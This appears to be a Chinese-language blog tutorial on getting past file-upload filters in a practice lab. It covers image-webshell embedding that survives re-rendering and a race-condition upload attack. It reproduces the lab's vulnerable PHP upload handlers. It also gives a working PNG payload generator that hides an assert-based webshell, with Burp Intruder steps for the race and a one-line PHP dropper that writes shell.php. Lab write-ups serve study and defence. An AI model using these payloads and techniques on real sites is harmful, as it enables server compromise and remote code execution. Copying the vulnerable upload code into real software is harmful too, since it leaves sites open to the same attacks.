文件上传之图片马混淆绕过与条件竞争

一、图片马混淆绕过

1.上传gif

imagecreatefromxxxx函数把图片内容打散,,但是不会影响图片正常显示

php 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

首先copy命令生成图片马

然后上传图片马到服务器,保存返回后的图片

然后使用010editor比较,哪些内容没有被混淆,我们就可以把木马写在没有被混淆的内容里

然后直接文件包含,包含图片内的php代码

2.上传png

这里可以使用脚本进行图片马制作,里面的php代码基本不会被混淆

php 复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

将图片放在该脚本下的同级目录,运行后生成1.png

生成后查看内容,发现有两个参数,一个GET参数0,一个POST参数1

那就0给到assert,1给到phpinfo();,成功包含

二、条件竞争

1.分析

条件竞争型的漏洞在很多漏洞中都有涉及,在文件上传中造成这种漏洞的原因是代码中是先保存上传的文件在服务器上,然后验证再删除的,这就会造成攻击者可以利用文件被保存在服务器上与被删除的时间间隙来访问文件,然后重新生成了一个新木马

我们可以直接上传一个有写功能的php文件,然后bp抓包,一直发包,同时一直访问刚刚上传的php文件,总有一次会成功生成一个新的木马

看代码片段可以发现文件是先保存在服务器上,然后unlink函数删除的

php 复制代码
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

先上传写功能木马,然后抓包,放到intruder里面,随便找个数字,

然后选持续发包

然后我们一直访问上传的php文件,让它生成新的木马

php 复制代码
<?php fputs(fopen('../shell.php','w'),'<?php phpinfo();?>');?>

成功后就会生成一个shell.php

直接访问

相关推荐
炎码工坊1 小时前
微服务通信安全实战:JWT在分布式架构中的应用与最佳实践
安全·网络安全·云原生·系统安全·安全架构
YUJIANYUE3 小时前
发立得信息发布系统房屋信息版(php+mysql)V1.0版
mysql·php
newxtc5 小时前
【JJ斗地主-注册安全分析报告】
开发语言·javascript·人工智能·安全
wo3258661455 小时前
浪潮交换机配置track检测实现高速公路收费网络主备切换NQA
开发语言·网络·php
luopeng2076634367 小时前
虚拟局域网中配置某台服务器作为网关的方案
运维·服务器·php
毒果7 小时前
网络安全全景解析
安全·web安全
云盾安全防护7 小时前
CC攻击与WAF的对抗战
网络·安全·ddos
网硕互联的小客服10 小时前
如何在服务器上部署 Python Django 应用
linux·运维·服务器·网络·安全
渗透好难10 小时前
CTF show 数学不及格
安全·系统安全·密码学
百度安全10 小时前
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
安全·百度